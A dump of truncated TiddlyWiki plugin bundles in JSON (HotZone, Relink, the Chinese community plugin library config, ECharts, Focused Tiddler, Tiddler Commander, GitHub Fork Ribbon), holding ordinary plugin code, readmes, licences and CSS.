i=document.getElementsByClassName(t.classNames.storyRiver)[0];var r=$tw.wiki.getTiddlerData(t.references.userConfig,{});var s=isNaN(parseInt(r.focusOffset))?150:parseInt(r.focusOffset);var a=function(e,i,r){if(!(e instanceof Element))return;if(!$tw.utils.hasClass(e,t.classNames.tiddlerFrame))return;var s=e.getElementsByClassName(t.classNames.tiddlerTitle)[0];if(s){var a=s.innerText||s.textContent;return a.trim()}};var n=function(e,i){$tw.wiki.addTiddler(new $tw.Tiddler({title:t.references.focussedTiddlerStore,text:e},$tw.wiki.getModificationFields()));if(i){var r=document.getElementsByClassName(\\\"hzone-focus\\\")[0];if(r){$tw.utils.removeClass(r,\\\"hzone-focus\\\")}$tw.utils.addClass(i,\\\"hzone-focus\\\")}};var l=function(){var r=$tw.wiki.getTiddler(\\\"$:/StoryList\\\");if(r&&r.fields.list.length){var l=null;var o=Number.MAX_VALUE;var f=i.children;var u=t.classNames.tiddlerFrame;for(var d=f.length;d--;){if($tw.utils.hasClass(f[d],u)){var c=f[d].getBoundingClientRect();var v=Math.min(Math.abs(s-c.top),Math.abs(s-c.bottom));if(v\u003Co){l=f[d];o=v}}}var w=a(l);if(w!==e&&$tw.wiki.getTiddler(w)){e=w;n(e,l);return}}else if(e){e=\\\"\\\";n(e)}};var o=function(t){var e;var i=false;return function(r,s){var a=this;if(i&&!s){}else{i=s;if(e!=null){clearTimeout(e)}e=setTimeout((function(){e=null;i=false;t.apply(a)}),r)}}};var f=o(l);var u=function(t){if(t[\\\"$:/HistoryList\\\"]){if(!$tw.wiki.tiddlerExists(\\\"$:/HistoryList\\\"))return;var e=$tw.wiki.getTiddler(\\\"$:/HistoryList\\\").fields[\\\"current-tiddler\\\"];var i=$tw.wiki.getTiddlerList(\\\"$:/StoryList\\\");var r=i.indexOf(e)>=0;if(!r)return;f($tw.utils.getAnimationDuration()+10,true)}else if(t[\\\"$:/StoryList\\\"]){f($tw.utils.getAnimationDuration()+10,true)}};var d=function(t){f(300,false)};$tw.wiki.addEventListener(\\\"change\\\",u);window.addEventListener(\\\"scroll\\\",d,false);d()}})();\",\n \"type\": \"application/javascript\",\n \"module-type\": \"startup\"\n },\n \"$:/plugins/felixhayashi/hotzone/Configuration\": {\n \"title\": \"$:/plugins/felixhayashi/hotzone/Configuration\",\n \"text\": \"Please see the [[GitHub page|https://github.com/felixhayashi/TW5-HotZone]] for more information on the options.\\n\\nSave and reload the wiki to activate changes.\\n\\n\u003Ctable>\\n \u003Ctr>\\n \u003Cth align=\\\"left\\\">Focus offset:\u003C/th>\\n \u003Ctd>\u003C$edit-text tiddler=\\\"$:/config/hotzone/focusOffset\\\" tag=\\\"input\\\" default=\\\"71px\\\" />\u003C/td>\\n \u003C/tr>\\n\u003C/table>\"\n },\n \"$:/temp/focussedTiddler\": {\n \"title\": \"$:/temp/focussedTiddler\"\n },\n \"$:/plugins/felixhayashi/hotzone/License\":
{"name":"Relink","title":"$:/plugins/flibbles/relink","description":"Flexibility when relinking renamed tiddlers","author":"Flibbles","version":"2.3.1","core-version":">=5.1.22","source":"https://github.com/flibbles/tw5-relink","demo":"http://flibbles.github.io/tw5-relink/","list":"readme configuration license","dependents":"","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/flibbles/relink/js/bulkops.js\":{\"text\":\"/*\\\\\\nmodule-type: startup\\n\\nReplaces the relinkTiddler defined in $:/core/modules/wiki-bulkops.js\\n\\nThis is a startup instead of a wikimethods module-type because it's the only\\nway to ensure this runs after the old relinkTiddler method is applied.\\n\\n\\\\*/\\n(function(){\\n\\n/*jslint node: false, browser: true */\\n/*global $tw: false */\\n\\\"use strict\\\";\\n\\nvar language = require('$:/plugins/flibbles/relink/js/language.js');\\nvar utils = require(\\\"$:/plugins/flibbles/relink/js/utils.js\\\");\\n\\nexports.name = \\\"redefine-relinkTiddler\\\";\\nexports.synchronous = true;\\n// load-modules is when wikimethods are applied in\\n// ``$:/core/modules/startup/load-modules.js``\\nexports.after = ['load-modules'];\\n// We come before commands because they may do renaming, or jasmine testing\\nexports.before = ['commands'];\\n\\nexports.startup = function() {\\n\\t$tw.Wiki.prototype.relinkTiddler = relinkTiddler;\\n};\\n\\n/** Walks through all relinkable tiddlers and relinks them.\\n * This replaces the existing function in core Tiddlywiki.\\n */\\nfunction relinkTiddler(fromTitle, toTitle, options) {\\n\\toptions = options || {};\\n\\tvar failures = [];\\n\\tvar indexer = utils.getIndexer(this);\\n\\tvar records = indexer.relinkLookup(fromTitle, toTitle, options);\\n\\tfor (var title in records) {\\n\\t\\tvar entries = records[title],\\n\\t\\t\\tchanges = Object.create(null),\\n\\t\\t\\tupdate = false,\\n\\t\\t\\tfails = false;\\n\\t\\tfor (var field in entries) {\\n\\t\\t\\tvar entry = entries[field];\\n\\t\\t\\tfails = fails || entry.impossible;\\n\\t\\t\\tif (entry.output !== undefined) {\\n\\t\\t\\t\\tchanges[field] = entry.output;\\n\\t\\t\\t\\tupdate = true;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (fails) {\\n\\t\\t\\tfailures.push(title);\\n\\t\\t}\\n\\t\\t// If any fields changed, update tiddler\\n\\t\\tif (update) {\\n\\t\\t\\tconsole.log(\\\"Renaming '\\\"+fromTitle+\\\"' to '\\\"+toTitle+\\\"' in '\\\" + title + \\\"'\\\");\\n\\n\\t\\t\\tvar tiddler = this.getTiddler(title);\\n\\t\\t\\tvar modifyField = utils.touchModifyField(this) ? this.getModificationFields() : undefined;\\n\\t\\t\\tvar newTiddler = new $tw.Tiddler(tiddler,changes,modifyField)\\n\\t\\t\\tnewTiddler = $tw.hooks.invokeHook(\\\"th-relinking-tiddler\\\",newTiddler,tiddler);\\n\\t\\t\\tthis.addTiddler(newTiddler);\\n\\t\\t\\t// If the title changed, we need to perform a nested rename\\n\\t\\t\\tif (newTiddler.fields.title !== title) {\\n\\t\\t\\t\\tthis.deleteTiddler(title);\\n\\t\\t\\t\\tthis.relinkTiddler(title, newTiddler.fields.title,options);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t};\\n\\tif (failures.length > 0) {\\n\\t\\tvar options = $tw.utils.extend(\\n\\t\\t\\t{ variables: {to: toTitle, from: fromTitle},\\n\\t\\t\\t wiki: this},\\n\\t\\t\\toptions );\\n\\t\\tlanguage.reportFailures(failures, options);\\n\\t}\\n};\\n\\n})();\\n\",\"module-type\":\"startup\",\"title\":\"$:/plugins/flibbles/relink/js/bulkops.js\",\"type\":\"application/javascript\"},\"$:/plugins/flibbles/relink/js/indexer.js\":{\"text\":\"/*\\\\\\nmodule-type: indexer\\n\\nIndexes results from tiddler reference reports so we don't have to call them\\nso much.\\n\\n\\\\*/\\n\\n\\\"use strict\\\";\\n\\nvar utils = require(\\\"./utils.js\\\");\\nvar TiddlerContext = utils.getContext('tiddler');\\n\\nfunction Indexer(wiki) {\\n\\tthis.wiki = wiki;\\n};\\n\\nIndexer.prototype.init = function() {\\n\\tthis.rebuild();\\n};\\n\\nIndexer.prototype.rebuild = function() {\\n\\tthis.index = null;\\n\\tthis.backIndex = null;\\n\\tthis.contexts = Object.create(null);\\n\\tthis.changedTiddlers = undefined;\\n\\tthis.lastRelinks = O
{"text":"{\"tiddlers\":{\"$:/config/TiddlyWiki-CPL/GitHub\":{\"title\":\"$:/config/TiddlyWiki-CPL/GitHub\",\"caption\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\u003C$list filter=\\\"[\u003Clang>search:title[zh]]\\\">太微中文社区插件源(~GitHub版)\u003C/$list>\u003C$list filter=\\\"[\u003Clang>!search:title[zh]]\\\">TiddlyWiki CPL(~GitHub Host)\u003C/$list>\u003C/$list>\",\"tags\":[\"$:/tags/PluginLibrary\",\"$:/tags/PluginLibrary/CPL\"],\"type\":\"text/vnd.tiddlywiki\",\"url\":\"https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html\",\"text\":\"\u003C!-- lang变量就是当前语言 -->\\n\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search:title[zh]]\\\" variable=\\\"lang\\\">\\n\\n欢迎使用''【太微中文社区插件源】''\\n\\n本插件源是由[[太微(TiddlyWiki)中文社区|https://github.com/tiddly-gittly]]维护的、致力于搜集网络上所有与 ~TiddlyWiki5 有关插件的、希望为中国以及全世界的太微用户提供一键安装、更新插件体验的公开插件源。\\n\\n如果还不了解该如何使用太微和本插件源欢迎阅读[[中文社区共建的太微TiddlyWiki教程|https://tw-cn.netlify.app]]里插件相关的部分。如上提到的插件源和教程皆为开源项目,你可以在 [[GitHub|https://github.com/tiddly-gittly]] 中找到并参与贡献如果乐意可以通过QQ群等方式加入我们详情请见如上提到的中文教程。\\n\\n要添加这个插件库到你的 Wiki 中,只需鼠标拖动这个链接到你的 Wiki 里即可:\u003C$link to=\u003C\u003CcurrentTiddler>>>{{!!caption}}\u003C/$link>\\n\\n注意本插件源版本为 ~GitHub Page 的版本,更新更快,但是可能需要科学上网手段。如果你在国内,而且不清楚什么是“科学上网”,请选用另一个经过 netlify.app 加速的[[版本|$:/config/TiddlyWiki-CPL/Netlify]],虽然更新有一定的延迟,但对国内用户更加友好。\\n\\n@@color:red;''安装任何插件前请记得备份你的Wiki本插件源无法为插件造成的个人损失负责''@@\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search:title[zh]]\\\" variable=\\\"lang\\\">\\n\\nWelcome to the ''[TiddlyWiki Chinese Community Plugin Source]''!\\n\\nThis plugin source is maintained by the [[TiddlyWiki Chinese Community]] and is dedicated to collecting all TiddlyWiki5 related plugins on the web, hoping to provide a one-click installation and update plugin experience for TiddlyWiki users in China and around the world.\\n\\nIf you don't know how to use TiddlyWiki and this source, you are welcome to read the plugins related section in the [[TiddlyWiki Tutorials for Chinese Communities|https://tw-cn.netlify.app]]. As mentioned above, both the plugin source and the tutorial are open source projects, you can find them in [[GitHub|https://github.com/tiddly-gittly]] and participate in contributing! If you like, you can join us through QQ groups and other means, see the Chinese tutorials mentioned above for details.\\n\\nTo add this plugin library to your Wiki, just drag this link with your mouse into your Wiki: \u003C$link to=\u003C\u003CcurrentTiddler>>>{{!!caption}}\u003C/$link>\\n\\nNote: The source version of this plugin is the ~GitHub Page version, which is faster to update, but may require scientific Internet access. If you are in China and are not sure what GFW is, please use another [[version|$:/config/TiddlyWiki-CPL/Netlify]] that is accelerated by netlify.app, although there is a certain delay in updating, but it is more friendly to domestic users more friendly.\\n\\n@@color:red;''Please remember to back up your Wiki before installing any plugins, this plugin source cannot be held responsible for personal losses caused by plugins!''@@\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/config/TiddlyWiki-CPL/Netlify\":{\"title\":\"$:/config/TiddlyWiki-CP
2023-01-24 12:09:08 +00:00
{"version":"0.1.4","type":"application/json","title":"$:/plugins/Gk0Wk/echarts","plugin-type":"plugin","name":"ECharts","list":"readme LICENSE","description":"ECharts for TiddlyWiki5","author":"Gk0Wk","source":"https://github.com/tiddly-gittly/tw-echarts/tree/master/plugins/Gk0Wk/echarts","dependents":"$:/plugins/Gk0Wk/focused-tiddler","text":"{\"tiddlers\":{\"$:/plugins/Gk0Wk/echarts/LICENSE\":{\"title\":\"$:/plugins/Gk0Wk/echarts/LICENSE\",\"type\":\"text/plain\",\"text\":\"\\nMIT License\\n\\nCopyright (c) 2023 Gk0Wk(nmg_wk@yeah.net)\\n\\nPermission is hereby granted, free of charge, to any person obtaining a copy\\nof this software and associated documentation files (the \\\"Software\\\"), to deal\\nin the Software without restriction, including without limitation the rights\\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\\ncopies of the Software, and to permit persons to whom the Software is\\nfurnished to do so, subject to the following conditions:\\n\\nThe above copyright notice and this permission notice shall be included in all\\ncopies or substantial portions of the Software.\\n\\nTHE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\\nSOFTWARE.\\n\"},\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.ts\":{\"title\":\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.ts\",\"type\":\"application/javascript\",\"Modern.TiddlyDev#IncludeSource\":\"true\",\"text\":\"import { IScriptAddon } from '../../scriptAddon';\\nimport * as ECharts from '$:/plugins/Gk0Wk/echarts/echarts.min.js';\\n\\nconst getFilterByDate = (date: string, subfilter: string) =>\\n `[all[tiddlers]sameday:created[${date}]][all[tiddlers]sameday:modified[${date}]] +${subfilter} +[sort[]]`;\\nconst yearDates: Map\u003Cnumber, [string, string][]> = new Map();\\nconst dayTime = 3600 * 24 * 1000;\\nconst getData = (year: number, subfilter: string) => {\\n if (!yearDates.has(year)) {\\n const startDate = (ECharts as any).number\\n .parseDate(`${year}-01-01`)\\n .getTime();\\n const endDate = (ECharts as any).number\\n .parseDate(`${year + 1}-01-01`)\\n .getTime();\\n const dates: [string, string][] = [];\\n for (let time = startDate; time \u003C endDate; time += dayTime) {\\n const timeFmt: string = (ECharts as any).format.formatTime(\\n 'yyyy-MM-dd',\\n time,\\n );\\n const timeTW = timeFmt.replace(/-/g, '');\\n dates.push([timeFmt, timeTW]);\\n }\\n yearDates.set(year, dates);\\n }\\n let total = 0;\\n return [\\n yearDates.get(year)!.map(([timeFmt, timeTW]) => {\\n const count = $tw.wiki.filterTiddlers(\\n getFilterByDate(timeTW, subfilter),\\n ).length;\\n total += count;\\n return [timeFmt, count];\\n }),\\n total,\\n ] as [[string, number][], number];\\n};\\n\\nconst getPlatteColor = (name: string) =>\\n $tw.wiki.renderText(\\n 'text/plain',\\n 'text/vnd.tiddlywiki',\\n `\u003C$transclude tiddler={{$:/palette}} index=\\\"${name}\\\">\u003C$transclude tiddler=\\\"$:/palettes/Vanilla\\\" index=\\\"${name}\\\">\u003C$transclude tiddler=\\\"$:/config/DefaultColourMappings/${name}\\\"/>\u003C/$transclude>\u003C/$transclude>`,\\n {},\\n );\\n\\nconst checkIfChinese = () =>\\n $tw.wiki.getTiddlerText('$:/language')?.includes('zh') === true;\\n\\nconst checkIfDarkMode = () =>\\n $tw.wiki.getTiddler($tw.wiki.getTiddlerText('$:/palette')!)?.fields?.[\\n 'color-scheme'\\n ] === 'dark';\\n\\nconst GitHubHeatMapAddon: IScriptAddon\u003Cany> = {\\n shouldUpdate: (_, changedTiddlers) => $tw.utils.count(changedTiddlers) > 0,\\n onUpdate: (myChart, _state, addonAttributes) => {\\n const year = parseIn
{"title":"$:/plugins/Gk0Wk/focused-tiddler","name":"Focused Tiddler","author":"Gk0Wk","description":"Detecting the tiddler you are viewing","plugin-type":"plugin","version":"0.0.1","list":"readme config","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/Gk0Wk/focused-tiddler/config\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/config\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search[zh]]\\\">\\n\\n; 顶部偏移\\n: \u003C$edit-text tiddler=\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\" tag=\\\"input\\\" default=\\\"71\\\" /> (px)\\n: 条目顶部与窗口页面顶部的距离小于偏移量时该条目会被聚焦。单位px\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search[zh]]\\\">\\n\\n; Top Offset\\n: \u003C$edit-text tiddler=\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\" tag=\\\"input\\\" default=\\\"71\\\" /> (px)\\n: The entry is focused when the distance between the top of the entry and the top of the window page is less than the offset. (Unit: px)\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/plugins/Gk0Wk/focused-tiddler/readme\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/readme\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search[zh]]\\\">\\n\\n! 聚焦条目\\n\\n检测你现在正在看的条目并将其标题存在 `$:/temp/focussedTiddler`。\\n\\n判定方法当打开新条目、滚动条目至一定位置可配置或者点击条目内容时及判定为聚焦条目。\\n\\n> 本插件使用灵活而强大的 \u003C$text text=\\\"TiddlyWiki\\\" /> 开发框架 [[Tiddly.ModernDev|https://github.com/tiddly-gittly/Modern.TiddlyDev]]\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search[zh]]\\\">\\n\\n! focused-tiddler\\n\\nDetecting the tiddler you are viewing, and save its title to `$:/temp/focussedTiddler`.\\n\\nJudgment method: When opening a new tiddler, scrolling the tiddler to a certain position (configurable) or clicking on the content of the tiddler, and judged to be a focused tiddler.\\n\\n> This plugin uses the flexible and powerful \u003C$text text=\\\"TiddlyWiki\\\" /> development framework [[Tiddly.ModernDev|https://github.com/tiddly-gittly/Modern.TiddlyDev]]\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\",\"text\":\"71\\n\"},\"'$:/plugins/Gk0Wk/focused-tiddler/top-offset/hook.js\":{\"title\":\"'$:/plugins/Gk0Wk/focused-tiddler/top-offset/hook.js\",\"module-type\":\"startup\",\"type\":\"application/javascript\",\"Modern.TiddlyDev#Origin\":\"hook.ts\",\"text\":\"\\\"use strict\\\";var __defProp=Object.defineProperty,__getOwnPropDesc=Object.getOwnPropertyDescriptor,__getOwnPropNames=Object.getOwnPropertyNames,__hasOwnProp=Object.prototype.hasOwnProperty,__export=(e,t)=>{for(var o in t)__defProp(e,o,{get:t[o],enumerable:!0})},__copyProps=(t,o,r,s)=>{if(o&&\\\"object\\\"==typeof o||\\\"function\\\"==typeof o)for(let e of __getOwnPropNames(o))__hasOwnProp.call(t,e)||e===r||__defProp(t,e,{get:()=>o[e],enumerable:!(s=__getOwnPropDesc(o,e))||s.enumerable});return t},__toCommonJS=e=>__copyProps(__defProp({},\\\"__esModule\\\",{value:!0}),e),hook_exports={},topOffset=(__export(hook_exports,{after:()=>after,name:()=>name,platforms:()=>platforms,startup:()=>startup,synchronous:()=>synchronous}),module.exports=__toCommonJS(hook_exports),71),updateTopOffset=()=>{topOffset=Number($tw.wiki.getTiddlerText(\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\",\\\"71\\\").trim()),Number.isSafeInteger(topOffset)||(topOffset=71)},check=()=>{var t=document.querySelectorAll(\\\".tc-story-river > .tc-tiddler-frame\\\");if(0===t.length)update(null);else{for(let e=t.length-1;0\u003C=e;e--)if(!(100\u003Ct[e].getBoundingClientRect
2023-01-16 22:23:56 +00:00
{"title":"$:/plugins/kookma/commander","name":"Tiddler Commander","description":"Tiddler Commander","author":"Mohammad Rahmani","version":"2.1.4","core-version":">=5.2.0","source":"https://github.com/kookma/TW-Commander","list":"readme license history","plugin-type":"plugin","parent-plugin":"","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/kookma/commander/buttons/pagecontrol\":{\"title\":\"$:/plugins/kookma/commander/buttons/pagecontrol\",\"caption\":\"{{$:/plugins/kookma/commander/images/file-alt}} {{$:/language/Buttons/Commander/Caption}}\",\"description\":\"Open tiddler commander\",\"list-after\":\"$:/core/ui/Buttons/advanced-search\",\"tags\":\"$:/tags/PageControls\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\\\\whitespace trim\\n\\\\define commander-button(class)\\n\u003C$button to=\\\"$:/Commander\\\" tooltip={{$:/language/Buttons/Commander/Hint}} aria-label={{$:/language/Buttons/Commander/Caption}} class=\\\"\\\"\\\"$(tv-config-toolbar-class)$ $class$\\\"\\\"\\\">\\n\u003C$list filter=\\\"[\u003Ctv-config-toolbar-icons>match[yes]]\\\">\\n{{$:/plugins/kookma/commander/images/commander.svg}}\\n\u003C/$list>\\n\u003C$list filter=\\\"[\u003Ctv-config-toolbar-text>match[yes]]\\\">\\n\u003Cspan class=\\\"tc-btn-text\\\">\u003C$text text={{$:/language/Buttons/Commander/Caption}}/>\u003C/span>\\n\u003C/$list>\\n\u003C/$button>\\n\\\\end\\n\\n\u003C$list filter=\\\"[list[$:/StoryList]] +[field:title[$:/Commander]]\\\" emptyMessage=\u003C\u003Ccommander-button>>>\\n\u003C\u003Ccommander-button \\\"tc-selected\\\">>\\n\u003C/$list>\\n\"},\"$:/Commander\":{\"title\":\"$:/Commander\",\"icon\":\"$:/plugins/kookma/commander/images/commander.svg\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\\\\import [all[shadows+tiddlers]tag[$:/tags/Commander/Macro]]\\n{{$:/plugins/kookma/commander/search/ui}}\\n\u003C!-- Create the search filter based on searchbox and selective operation (if active) -->\\n\u003C$vars searchTerms={{{ [\u003CsearchboxTid>get[text]minlength{$:/plugins/kookma/commander/config/minlength}]~[[$:/errorCode:-23500]] }}} pattern=\\\"^\\\\[\\\">\u003C!-- this part checks the combo search and selective ops-->\\n\u003C$set name=\\\"filtertext\\\" filter=\\\"[\u003CsearchTerms>regexp\u003Cpattern>]\\\" value=\\\"[subfilter\u003CsearchTerms>]\\\" emptyValue=\\\"[!is[system]search\u003CsearchTerms>]\\\">\\n\u003C$set name=\\\"searchfilter\\\" filter=\\\"[\u003CselectiveOpsTid>get[text]match[yes]]\\\" \\n\\tvalue=\\\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]]+[tag\u003CworkingTag>]\\\" emptyValue=\\\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]]\\\" >\\n\u003Csmall style=\\\"margin-left:17ch;\\\">\u003Ci>\u003C$count filter=\\\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]!is[missing]]\\\" /> matches \u003C/i>\u003C/small>\\n\\n\u003C!-- Display search results and let selective operation -->\\n\u003C\u003Ccommander-slider title:\\\"$:/plugins/kookma/commander/search/selection\\\" default:\\\"open\\\">>\\n\\n\u003C!-- Display operation UIs-->\\n\u003C\u003Ctabs \\\"[all[shadows+tiddlers]tag[$:/tags/Commander]!has[draft.of]]\\\" default:\\\"$:/plugins/kookma/commander/tiddler/ui\\\">>\\n\\n\u003C/$set>\\n\u003C/$set>\\n\u003C$vars>\\n\\n---\\n\\n\u003C\u003Ccommander-slider title:\\\"$:/plugins/kookma/commander/log/ui\\\">>\\n\"},\"$:/plugins/kookma/commander/config/AutoFocus\":{\"title\":\"$:/plugins/kookma/commander/config/AutoFocus\",\"tags\":\"\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"yes\"},\"$:/plugins/kookma/commander/config/commonfields\":{\"title\":\"$:/plugins/kookma/commander/config/commonfields\",\"tags\":\"\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"created creator modified modifier revision bag\"},\"$:/plugins/kookma/commander/config/minlength\":{\"title\":\"$:/plugins/kookma/commander/config/minlength\",\"tags\":\"\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"3\"},\"$:/plugins/kookma/commander/config/relink\":{\"title\":\"$:/plugins/kookma/commander/config/relink\",\"tags\":\"\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\\\\define relin
2023-01-08 20:13:51 +00:00
{"title":"$:/plugins/tiddlywiki/github-fork-ribbon","name":"GitHub Fork Ribbon","description":"GitHub-inspired corner ribbon","author":"Simon Whitaker","list":"readme usage","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\",\"text\":\"This plugin provides a diagonal ribbon across the corner of the window. It resembles the design used by ~GitHub for their \\\"Fork me on ~GitHub\\\" ribbons.\\n\\nThe ribbon can be positioned over any corner, and can incorporate user defined text, colours and a link.\\n\\nThe CSS stylesheet is adapted from work by Simon Whitaker:\\n\\nhttps://github.com/simonwhitaker/github-fork-ribbon-css/\\n\\n[[Source code|https://github.com/Jermolene/TiddlyWiki5/blob/master/plugins/tiddlywiki/github-fork-ribbon]]\\n\"},\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\",\"tags\":\"[[$:/tags/Stylesheet]]\",\"text\":\"/* Left will inherit from right (so we don't need to duplicate code */\\n.github-fork-ribbon {\\n /* The right and left lasses determine the side we attach our banner to */\\n position: absolute;\\n\\n /* Add a bit of padding to give some substance outside the \\\"stitching\\\" */\\n padding: 2px 0;\\n\\n /* Set the base colour */\\n background-color: #a00;\\n\\n /* Set a gradient: transparent black at the top to almost-transparent black at the bottom */\\n background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.00)), to(rgba(0, 0, 0, 0.15)));\\n background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -moz-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -ms-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,StartColorStr='#000000', EndColorStr='#000000');\\n\\n /* Add a drop shadow */\\n -webkit-box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n\\n z-index: 999;\\n pointer-events: auto;\\n}\\n\\n.github-fork-ribbon a, .github-fork-ribbon a.tc-tiddlylink,\\n.github-fork-ribbon a:hover, .github-fork-ribbon a.tc-tiddlylink:hover {\\n /* Set the font */\\n font-family: \\\"Helvetica Neue\\\", Helvetica, Arial, sans-serif;\\n font-size: 13px;\\n font-weight: 700;\\n color: white;\\n\\n /* Set the text properties */\\n text-decoration: none;\\n text-shadow: 0 -1px rgba(0,0,0,0.5);\\n text-align: center;\\n\\n /* Set the geometry. If you fiddle with these you'll also need to tweak the top and right values in #github-fork-ribbon. */\\n width: 200px;\\n line-height: 20px;\\n\\n /* Set the layout properties */\\n display: inline-block;\\n padding: 2px 0;\\n\\n /* Add \\\"stitching\\\" effect */\\n border-width: 1px 0;\\n border-style: dotted;\\n border-color: rgba(255,255,255,0.7);\\n}\\n\\n.github-fork-ribbon-wrapper {\\n width: 150px;\\n height: 150px;\\n position: absolute;\\n overflow: hidden;\\n top: 0;\\n z-index: 999;\\n pointer-events: none;\\n}\\n\\n.github-fork-ribbon-wrapper.fixed {\\n position: fixed;\\n}\\n\\n.github-fork-ribbon-wrapper.left {\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right {\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.left-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right .github-fork-ribbon {\\n top: 42px;\\n right: -43px;\\n\\n /* Rotate the banner 45 degrees */\\n -webkit-transform: rotate(45deg);\\n -moz-transform: rotate(45deg);\\n -o-transform: rotate(45deg);\\n
2023-01-08 22:59:47 +00:00
{"created":"20230108212945823","text":"Copy appropriate chunks on a new tiddler and tag it `$:/tags/PageControls`. Name of the new tiddler does not matter. Only the tag matters.\n\n```\n\u003C!-- TOP RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- TOP LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper left\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP LEFT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper 